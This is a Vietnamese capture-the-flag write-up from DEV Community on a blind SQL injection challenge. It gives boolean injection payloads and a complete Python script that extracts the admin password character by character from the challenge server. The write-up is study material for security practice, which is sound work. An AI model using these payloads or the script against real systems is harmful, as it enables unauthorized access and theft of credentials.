DEV Community

Cover image for Simple Blind SQL Injection
tRavOndAtrACk
tRavOndAtrACk

Posted on

Simple Blind SQL Injection

Nội dung
Tên Simple Blind SQL Injection
Mô tả Khai thác lỗ hổng Blind SQL Injection để lấy mật khẩu admin, sau đó đăng nhập tại /login để lấy flag
Tag Web, SQL Injection, Blind SQL Injection
Link https://battle.cookiearena.org/challenges/web/simple-blind-sql-injection

1. Phân tích lỗ hổng

Trang web nhận tham số uid qua HTTP GET.

Thử payload:

admin' AND 1=1 --
Enter fullscreen mode Exit fullscreen mode

Kết quả:

Thử thêm 1 payload khác:

admin' AND 1=2 --
Enter fullscreen mode Exit fullscreen mode

Kết quả:

→ Không trả về exists.

Kết luận

Backend có truy vấn SQL dạng:

SELECT * FROM users WHERE uid = '$uid';
Enter fullscreen mode Exit fullscreen mode

→ Blind SQL Injection dạng boolean

2. Chiến lược khai thác

  • Xác định độ dài mật khẩu bằng LENGTH(upw)
  • Trích xuất từng ký tự bằng SUBSTRING(upw, position, 1)
  • So sánh với charset đã biết
  • Dựa vào chuỗi phản hồi "exists" để xác định điều kiện đúng

3. Khai thác chi tiết

3.1. Xác định độ dài mật khẩu

Payload mẫu:

admin' AND LENGTH(upw)=N --
Enter fullscreen mode Exit fullscreen mode

Tăng dần N cho đến khi server trả về "exists".

3.2. Trích xuất mật khẩu từng ký tự

Payload tại vị trí i:

admin' AND SUBSTRING(upw,i,1)='c' --
Enter fullscreen mode Exit fullscreen mode

Duyệt toàn bộ charset [a-z0-9_] cho mỗi vị trí.

4. Script exploit

import requests
import string

URL = "http://103.97.125.56:30536/"
TRUE_TEXT = "exists"

charset = string.ascii_lowercase + string.digits + "_"

def is_true(payload):
    params = {
        "uid": payload
    }
    r = requests.get(URL, params=params, timeout=5)
    return TRUE_TEXT in r.text


def get_length(max_len=50):
    print("[*] Đang xác định độ dài mật khẩu...")
    for length in range(1, max_len + 1):
        payload = f"admin' AND LENGTH(upw)={length} -- "
        if is_true(payload):
            print(f"[+] Độ dài mật khẩu là: {length}")
            return length
    raise Exception("Không xác định được độ dài mật khẩu")


def dump_password(length):
    password = ""
    print("[*] Đang trích xuất mật khẩu...")
    for i in range(1, length + 1):
        for c in charset:
            payload = f"admin' AND SUBSTRING(upw,{i},1)='{c}' -- "
            if is_true(payload):
                password += c
                print(f"[+] Tìm được ký tự thứ {i}: {c}")
                break
        else:
            raise Exception(f"Không tìm được ký tự tại vị trí {i}")
    return password


if __name__ == "__main__":
    length = get_length()
    password = dump_password(length)
    print("\n[✓] Mật khẩu admin:", password)
Enter fullscreen mode Exit fullscreen mode

Kết quả thu được:

Tiến hành đăng nhập:

Flag thu được:


✍️ Write-up by tRavOndAtrACk – Happy hacking!

Top comments (0)